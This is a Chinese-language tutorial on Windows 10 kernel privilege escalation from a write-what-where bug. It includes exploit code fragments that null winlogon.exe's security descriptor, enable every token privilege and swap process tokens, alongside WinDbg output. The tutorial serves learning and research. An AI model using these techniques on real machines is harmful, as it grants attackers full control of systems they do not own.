Windows Kernel Exploit中的那些事儿

 

其实很多的漏洞利用,最终都是为了转换成这个漏洞——任意位置读写。所以我们首先要有一个概念就是,当我们获得了一个WWW类型的漏洞的时候,我们需要做什么。这里我们借助这一篇文章一起来学习一下,当进行内核提权的时候,我们究竟需要做什么。

 

如果获得了WWW(Write-What-Where)

当我们通过IOCTL等各种方式与内核模块发生了交互的时候,我们实际上就拥有了从usermode向kernelmode发起交互的能力,这个状态其实就类似用户态下,用户与应用能够进行交互。此时便可以通过巧妙的构造交互poc,来实现对一些漏洞的利用。当我们拥有一个WWW漏洞的时候,为了提权,此时实际上我们希望做到的事情是

能够将一个由我们控制的进程权限,提升到我们想要让它达到的权限上去

非常重要的一点是,我们需要明白此时的我们需要的目的是什么。也就是说

并不是单纯追求system shell,而是在保证系统稳定的前提下,获得我们想要的权限

这点很重要。前几次的攻击练习中,我单纯的以为kernel exploit就是将某个进程的PROCESS TOKEN复制到当前进程。如果需要做到这一步的话,那么实际上意味着我们此时的攻击需要能够执行shellcode。类比一下的话,就好像在玩一个简单的linux 下的elf pwn题,但此时我们非要获得一个函数指针来完成最后的一击(虽然有些时候确实是这么玩的),或者是关闭了NX的栈溢出,然后等待着jmp esp之类奇怪指令的出现。

但是!如果我们只是为了获得想要的权限的话,不如从源头出发,也就是考虑Windows下的各种权限都是怎么得到的呢?。进一步来说,为什么winlogon.exe这个程序的权限这么高,而我们自己启动的cmd.exe能做到的事情那么少;为什么windbg.exe却好像能够跨过某些障碍进行调试呢?其实这就是之前提到过的Windows权限管理实现的。简单来说,就是以下两个特性:

  • Access Right: 访问控制
  • Privilege: 特权

这两个特性控制了Windows下的权限,而当我们想要进行越权操作的时候,实际上我们就是企图控制一个进程的权限控制模块。当获得了一个WWW类型漏洞,我们实际上应该是尝试修改当前进程的权限管理对象,说白了,也就是一些存放在内核中的系统变量。

 

从 NtQuerySystemInformation 开始的故事

Windows的NtQuery*API系列其实能做的事情比他文档中写出来的多得多,其中最厉害的就是这个NtQuerySystemInformation,这个API能够返回一些系统级别的内存对象,例如:

  • 当前系统进程/线程信息
  • 当前页文件使用状况/缓存使用情况
  • 系统的一些中断信息

简直就像是一个后门函数了(笑)
这里我们关注一个叫做SystemHandleInformation类型的数据,通过传入这个参数,我们能够获得当前进程中的每一个句柄的使用情况:

NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, 0x20, &outBuffer);

其中句柄的结构长这个样子:

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG NumberOfHandles;
    SYSTEM_HANDLE Handels[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

这个地方记录了当前进程中,所有会使用到的句柄。注意是所有,换句话说,有些句柄可能并不是当前进程打开的,也会记录在这边,例如一些其他线程的APC,又或者是别的进程拷贝过来的句柄等。
句柄的结构体如下:

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    ULONG ProcessId;                // 当前句柄属于的进程
    UCHAR ObjectTypeNumber;         // 当前句柄的类型
    UCHAR Flags;
    USHORT Handle;                  // 当前句柄的句柄号
    void* Object;                   // 当前句柄实际对象的地址
    ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;

Windows大部分时候都是直接使用句柄这个概念与上层进行交互的,所以并不会将内核对象暴露给用户。不过,当我们能够查询到句柄表之后,通过这个结构体,我们就能够直接拿到句柄真正对应的对象,然后对句柄对应的内容进行修改。

 

插曲:ObjectTypeNumber的对应关系

上述可以看到,那个ObjectTypeNumber其实表示的是当前句柄的类型,不过我上网查到的很多资料都有问题,所以这里我们自己整理一份对应关系。首先这边的大佬帮忙整理了在Win10中,不同的Object在内存中的组织形式发生了什么样的变化,简单来说,在早期的windows系统中,通过查看_OBJECT_HEADER是能够知道当前的对象类型的,但是win10修改了,其计算放在这个函数上:

1: kd> uf nt!ObGetObjectType
nt!ObGetObjectType:
81e13e44 8bff            mov     edi,edi
81e13e46 55              push    ebp
81e13e47 8bec            mov     ebp,esp
81e13e49 8b4d08          mov     ecx,dword ptr [ebp+8]
81e13e4c 8d41e8          lea     eax,[ecx-18h]
81e13e4f 0fb649f4        movzx   ecx,byte ptr [ecx-0Ch]
81e13e53 c1e808          shr     eax,8
81e13e56 0fb6c0          movzx   eax,al
81e13e59 33c1            xor     eax,ecx
81e13e5b 0fb60dd824d081  movzx   ecx,byte ptr [nt!ObHeaderCookie (81d024d8)]
81e13e62 33c1            xor     eax,ecx
81e13e64 8b0485e024d081  mov     eax,dword ptr nt!ObTypeIndexTable (81d024e0)[eax*4]
81e13e6b 5d              pop     ebp
81e13e6c c20400          ret     4

稍微逆向一下就知道,现在想要通过_OBJECT_HEADER知道当前对象的类型,就得用这个算式:

nt!ObTypeIndexTable[(当前objectheader的地址的第二个字节^TypeIndex^poi(nt!ObHeaderCookie)最低字节)*4]

这里举个例子。比如我们想要知道的TOKEN这个对象的objectheader长这样:

1: kd> dt _Object_header 8bfd1888
nt!_OBJECT_HEADER
   +0x000 PointerCount     : 0n33
   +0x004 HandleCount      : 0n2
   +0x004 NextToFree       : 0x00000002 Void
   +0x008 Lock             : _EX_PUSH_LOCK
   +0x00c TypeIndex        : 0x8e ''
   +0x00d TraceFlags       : 0 ''
   +0x00d DbgRefTrace      : 0y0
   +0x00d DbgTracePermanent : 0y0
   +0x00e InfoMask         : 0x8 ''
   +0x00f Flags            : 0x2 ''
   +0x00f NewObject        : 0y0
   +0x00f KernelObject     : 0y1
   +0x00f KernelOnlyAccess : 0y0
   +0x00f ExclusiveObject  : 0y0
   +0x00f PermanentObject  : 0y0
   +0x00f DefaultSecurityQuota : 0y0
   +0x00f SingleHandleEntry : 0y0
   +0x00f DeletedInline    : 0y0
   +0x010 ObjectCreateInfo : 0x8d2952c0 _OBJECT_CREATE_INFORMATION
   +0x010 QuotaBlockCharged : 0x8d2952c0 Void
   +0x014 SecurityDescriptor : 0xa7a779d2 Void
   +0x018 Body             : _QUAD

那么我们此时计算的值就是:

1: kd> ? (0x18^0x8e^0x93)
Evaluate expression: 5 = 00000005

最终我们检查内存中的形式:

1: kd> dt nt!_object_type poi(nt!ObTypeIndexTable + (0x5*4))
   +0x000 TypeList         : _LIST_ENTRY [ 0x8639bbd0 - 0x8639bbd0 ]
   +0x008 Name             : _UNICODE_STRING "Token"
   +0x010 DefaultObject    : 0x81cb60f0 Void
   +0x014 Index            : 0x5 ''
   +0x018 TotalNumberOfObjects : 0x9f0
   +0x01c TotalNumberOfHandles : 0x396
   +0x020 HighWaterNumberOfObjects : 0xa59
   +0x024 HighWaterNumberOfHandles : 0x3d6
   +0x028 TypeInfo         : _OBJECT_TYPE_INITIALIZER
   +0x080 TypeLock         : _EX_PUSH_LOCK
   +0x084 Key              : 0x656b6f54
   +0x088 CallbackList     : _LIST_ENTRY [ 0x8639bc58 - 0x8639bc58 ]

这个object确实是token,证明了我们的猜测。
并且我们可以看到,这个计算的结果5其实正好就是ObjectTypeNumber,这边大致也整理了一遍这个ObjectTypeNumber,这次只用在win10上

typedef enum _SYSTEM_HANDLE_TYPE
{
    OB_TYPE_TYPE = 2,
    Directory = 3,
    SymbolicLink,
    Token,
    Job,
    Process,
    Thread,
    Partition,
    UserApcReserve,
    IoCompletionReserve,
    ActivityReference,
    PsSiloContextPaged,
    PsSiloContextNonPaged,
    DebugObject,
    Event,
    Mutant,
    Callback,
    Semaphore,
    Timer,
    IRTimer,
    Profile,
    KeyedEvent,
    WindowStation,
    Desktop,
    Composition,
    RawInputManager,
    CoreMessaging,
    ActivationObject,
    TpWorkerFactory,
    Adapter,
    Controller,
    Device,
    Driver,
    IoCompletion,
    WaitCompletionPacket,
    File,
    TmTm
}

大约常用的就已经列在这边,如果有需要的话,可以写一个demo来故意创建某个文件,然后再用前文的方法来查找对应的kernel object即可。

 

需要修改哪些地方呢

我们之前提到说,想要提权,可以从如下两个角度去入手:

  • Access Right: 访问控制
  • Privilege: 特权

那假设我们可以控制一些变量来修改这个值(而不是通过控制kernel code的执行),我们可以从如下的角度去考虑

  • 我们是否可以移除一个windows object的所有ACLs?
  • 我们是否可以给一个进程token任意的特权?
  • 我们是否可以替换掉一个进程的token?

其中第一条是针对Access Right的攻击手段,第二三条则是Privilege的相关攻击手段。那么我们一条条来分析可行性

 

方法一:ACLs的修改

Windows底下有一条很有趣的规矩:

如果一个对象的ACLs是空的,那么这个对象将被视为可以被任意权限的任意对象进行任意访问。而如果ACLs被初始化为空(empty),那么将视为当前对象没有被赋予任何的被访问的权限,所以不能被任何对象以任何权限访问

总的来说,区别就体现在结构体的这个地方:

1: kd> dt _Object_header 8bfd1888
nt!_OBJECT_HEADER
   +0x000 PointerCount     : 0n33
   +0x004 HandleCount      : 0n2
   +0x004 NextToFree       : 0x00000002 Void
   +0x008 Lock             : _EX_PUSH_LOCK
   +0x00c TypeIndex        : 0x8e ''
   +0x00d TraceFlags       : 0 ''
   +0x00d DbgRefTrace      : 0y0
   +0x00d DbgTracePermanent : 0y0
   +0x00e InfoMask         : 0x8 ''
   +0x00f Flags            : 0x2 ''
   +0x00f NewObject        : 0y0
   +0x00f KernelObject     : 0y1
   +0x00f KernelOnlyAccess : 0y0
   +0x00f ExclusiveObject  : 0y0
   +0x00f PermanentObject  : 0y0
   +0x00f DefaultSecurityQuota : 0y0
   +0x00f SingleHandleEntry : 0y0
   +0x00f DeletedInline    : 0y0
   +0x010 ObjectCreateInfo : 0x8d2952c0 _OBJECT_CREATE_INFORMATION
   +0x010 QuotaBlockCharged : 0x8d2952c0 Void
   +0x014 SecurityDescriptor : 0xa7a779d2 Void  <------------- 注意这里
   +0x018 Body             : _QUAD

SecurityDescriptor这个对象当指向的内容为空的时候,就是我们提到的第一种情况,也就是当前对象变成可以被任意对象访问

 

实践:利用WWW漏洞修改winlogon.exe进程对象的访问控制权限

我们知道,winlogon.exe这个进程的权限特别的高,那我们能不能通过找到这个进程的EPROCESS对应的object_header,将其中的DACL给改成空的,那不就相当于无论当前操作的权限有多低,都能够对当前进程注入?我们这边稍微实验一下:

// first, we should open target process on our processPROCESSENTRY32 entry;
    DWORD dwPid = GetProcessID(L"winlogon.exe");
    printf("the winlogon.exe pid is 0x%x\n", dwPid);
    // then, we try to open a handle
    HANDLE hTarget = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwPid);
    if (!hTarget) {
        std::cout << "Open winlogon.exe failed" << std::endl;
        return false;
    }
    // next, we try to open this eprocess address at kernel
    DWORD dwEPROCESS = GetKernelPointer(hTarget, 0x7);
    DWORD dwObjectHeader = dwEPROCESS - 0x18;
    printf("[+] winlogon.exe eprocess addr [0x%x], the object addr [0x%x] and the dacl addr [0x%x]\n", dwEPROCESS, dwObjectHeader, dwObjectHeader + 0x14);

    // here we try to change the dacl to another one
    WrtieWhatWhere *WWW = (WrtieWhatWhere*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WrtieWhatWhere));
    DWORD dwTargetOffset = dwEPROCESS - 0x4;
    DWORD dwRetSize = 0;
    WWW->Where = (ULONG_PTR)dwTargetOffset;
    //std::cout << "Base address:" << dwBaseAddress << " ExOffset:" << ulExAllocatePool;
    UINT64 uAllPrivelage = 0;
    WWW->What = (ULONG_PTR)&uAllPrivelage;
    // WWW->What = (ULONG)&dwRealExAllocatePool;
    // copy exp to target address
    std::cout << "Now we will write[" << WWW->Where << "]:" << *(ULONG*)(WWW->What) << std::endl;
    // Call the WWW vulnerability to write the target address
    Vunelrable(WWW);
    // now because the dacl has been changed, we guess this process may could be inject
    // Tro to inject code
    InjectToWinlogon();
    HeapFree(GetProcessHeap(), 0, WWW);
    return true;

结果如下:

KDTARGET: Refreshing KD connection

*** Fatal System Error: 0x00000189
                       (0x8D1D9028,0x8639B480,0x00000001,0x00000000)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

For analysis of this file, run !analyze -v
nt!RtlpBreakWithStatusInstruction:
81b66484 cc              int     3
1: kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

BAD_OBJECT_HEADER (189)
The OBJECT_HEADER has been corrupted
Arguments:
Arg1: 8d1d9028, Pointer to bad OBJECT_HEADER
Arg2: 8639b480, Pointer to the resulting OBJECT_TYPE based on the TypeIndex in the OBJECT_HEADER
Arg3: 00000001, The object security descriptor is invalid.
Arg4: 00000000, Reserved.

Debugging Details:
------------------

非常遗憾,没有生效,上网检查了一下,发现其实是Win10给出的一种攻击的缓解手段。在Win10上,EPROCESS这个对象的_OBJECT_HEADER中指向DS的指针是不能为空的,否则就会报错,具体可以看这里。这篇文章还介绍了一下如何绕过这个防护,继续利用dacl进行攻击。利用的思路就是修改成了:通过修改winlogon.exe中的AECs(访问控制实体),让其进程允许来自任意SID token 的用户修改,然后再进行inject即可。具体可参考链接里面给出的方法,这边就不演示了。

 

方法二:TOKEN结构体

前面介绍了ACL的攻击方式,那么这次我们回到TOKEN上面,介绍一下修改token的攻击。之前我们提到说,想要提权,其实就是修改这个TOKEN结构体的成员变量。这个结构体在WIN10中结构如下:

1: kd> dt nt!_TOKEN
   +0x000 TokenSource      : _TOKEN_SOURCE
   +0x010 TokenId          : _LUID
   +0x018 AuthenticationId : _LUID
   +0x020 ParentTokenId    : _LUID
   +0x028 ExpirationTime   : _LARGE_INTEGER
   +0x030 TokenLock        : Ptr32 _ERESOURCE
   +0x034 ModifiedId       : _LUID
   +0x040 Privileges       : _SEP_TOKEN_PRIVILEGES
   +0x058 AuditPolicy      : _SEP_AUDIT_POLICY
   +0x078 SessionId        : Uint4B
   +0x07c UserAndGroupCount : Uint4B
   +0x080 RestrictedSidCount : Uint4B
   +0x084 VariableLength   : Uint4B
   +0x088 DynamicCharged   : Uint4B
   +0x08c DynamicAvailable : Uint4B
   +0x090 DefaultOwnerIndex : Uint4B
   +0x094 UserAndGroups    : Ptr32 _SID_AND_ATTRIBUTES
   +0x098 RestrictedSids   : Ptr32 _SID_AND_ATTRIBUTES
   +0x09c PrimaryGroup     : Ptr32 Void
   +0x0a0 DynamicPart      : Ptr32 Uint4B
   +0x0a4 DefaultDacl      : Ptr32 _ACL
   +0x0a8 TokenType        : _TOKEN_TYPE
   +0x0ac ImpersonationLevel : _SECURITY_IMPERSONATION_LEVEL
   +0x0b0 TokenFlags       : Uint4B
   +0x0b4 TokenInUse       : UChar
   +0x0b8 IntegrityLevelIndex : Uint4B
   +0x0bc MandatoryPolicy  : Uint4B
   +0x0c0 LogonSession     : Ptr32 _SEP_LOGON_SESSION_REFERENCES
   +0x0c4 OriginatingLogonSession : _LUID
   +0x0cc SidHash          : _SID_AND_ATTRIBUTES_HASH
   +0x154 RestrictedSidHash : _SID_AND_ATTRIBUTES_HASH
   +0x1dc pSecurityAttributes : Ptr32 _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
   +0x1e0 Package          : Ptr32 Void
   +0x1e4 Capabilities     : Ptr32 _SID_AND_ATTRIBUTES
   +0x1e8 CapabilityCount  : Uint4B
   +0x1ec CapabilitiesHash : _SID_AND_ATTRIBUTES_HASH
   +0x274 LowboxNumberEntry : Ptr32 _SEP_LOWBOX_NUMBER_ENTRY
   +0x278 LowboxHandlesEntry : Ptr32 _SEP_CACHED_HANDLES_ENTRY
   +0x27c pClaimAttributes : Ptr32 _AUTHZBASEP_CLAIM_ATTRIBUTES_COLLECTION
   +0x280 TrustLevelSid    : Ptr32 Void
   +0x284 TrustLinkedToken : Ptr32 _TOKEN
   +0x288 IntegrityLevelSidValue : Ptr32 Void
   +0x28c TokenSidValues   : Ptr32 _SEP_SID_VALUES_BLOCK
   +0x290 IndexEntry       : Ptr32 _SEP_LUID_TO_INDEX_MAP_ENTRY
   +0x294 DiagnosticInfo   : Ptr32 _SEP_TOKEN_DIAG_TRACK_ENTRY
   +0x298 BnoIsolationHandlesEntry : Ptr32 _SEP_CACHED_HANDLES_ENTRY
   +0x29c SessionObject    : Ptr32 Void
   +0x2a0 VariablePart     : Uint4B

这其中最关键的就是

   +0x040 Privileges       : _SEP_TOKEN_PRIVILEGES

这个位置记录了当前进程的特权。特权的结构如下:

nt!_SEP_TOKEN_PRIVILEGES
   +0x000 Present          : Uint8B
   +0x008 Enabled          : Uint8B
   +0x010 EnabledByDefault : Uint8B

Windows运行过程中,实际上是检查了Enabled这个位置的特权。换句话说,如果这个位置的特权都打开了,那么当前进程将会获得所有类型的特权。这里给出一个大概的例子:

    // New Method
    HANDLE hCurrentProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
    if (!hCurrentProcess) {
        std::cout << "[-] Open Current process faiiled" << std::endl;
        return;
    }

    HANDLE hToken = 0;
    // the TOKEN_ADJUST_PRIVILEGES will enable/disable the privelage token
    if (!OpenProcessToken(hCurrentProcess, TOKEN_ADJUST_PRIVILEGES, &hToken)) {
        std::cout << "[-] Couldn't get curr ent process token" << std::endl;
        return;
    }
    // The 0x5 is what??????
    DWORD kToken = GetKernelPointer(hToken, 0x5);
    DWORD dwTargetOffset = kToken + 0x48;

    std::cout << "The target token offest is " << dwTargetOffset << std::endl;
    WrtieWhatWhere *WWW = (WrtieWhatWhere*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WrtieWhatWhere));
    WWW->Where = (ULONG_PTR)dwTargetOffset;
    //std::cout << "Base address:" << dwBaseAddress << " ExOffset:" << ulExAllocatePool;
    UINT64 uAllPrivelage= 0xffffffffffffffff;
    WWW->What = (ULONG_PTR)&uAllPrivelage;
    // Call the WWW vulnerability to write the target address
    Vunelrable(WWW);
    // now because the dacl has been changed, we guess this process may could be inject
    // Tro to inject code
    InjectToWinlogon();

 

方法三:替换TOKEN

这个方法其实是目前最为广泛使用的方法,也就是比较简单的替换到EPROCESS中的这个地方:

0: kd> dt nt!_EPROCESS
//....
   +0x0d8 ProcessQuotaUsage : [2] Uint4B
   +0x0e0 ProcessQuotaPeak : [2] Uint4B
   +0x0e8 PeakVirtualSize  : Uint4B
   +0x0ec VirtualSize      : Uint4B
   +0x0f0 SessionProcessLinks : _LIST_ENTRY
   +0x0f8 ExceptionPortData : Ptr32 Void
   +0x0f8 ExceptionPortValue : Uint4B
   +0x0f8 ExceptionPortState : Pos 0, 3 Bits
   +0x0fc Token            : _EX_FAST_REF <------------修改这里

不过修改这个地方的话,之前的做法比较无脑,一般就是:

  • 找到一个超高权限的进程,例如system
  • 将其token复制过来,覆盖当前进程的token

这个做法其实有点问题。我们看到token这个玩意儿的结构体:

typedef struct _EX_FAST_REF
{
     union
     {
          PVOID Object;
          ULONG RefCnt: 3;
          ULONG Value;
     };
} EX_FAST_REF, *PEX_FAST_REF;

可以看到,它虽然是一个指针,但是低3bit是用来表示当前对象的引用次数的。换句话说,如果我们真的拷贝了某一个token的话,其实还需要将当前token 的refCnt数量给修改了,不然当被我们拷贝的那个进程结束的时候,token本身也就会被销毁,从而导致BSoD。不过,我们可以看到之前提到的那个_OBJECT_HEADER,当我们修改这个结构体中的PointerCount的时候,系统就会认为当前对象的引用计数+1,从而放指bsod。

1: kd> dt _Object_header 8bfd1888
nt!_OBJECT_HEADER
   +0x000 PointerCount     : 0n33
   +0x004 HandleCount      : 0n2

参考的文章中提供了一种比较常见的利用思路

  • 通过hook NtOpenThreadToken(),然后调用MsiInstallProduct()API(需要中级的权限)来截获SystemToken
  • 当我们有多次写的能力的时候,我们需要首先将TOKEN-0x18(也就是PointerCount)数量+1,之后再修改当前进程token为这个token
  • 如果只有单次写能力的时候,首先选择一个不太可能结束的进程(例如system),修改完当前进程的token之后,马上从这个不太可能结束的进程中复制两个token的句柄。

 

参考链接

http://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf

(完)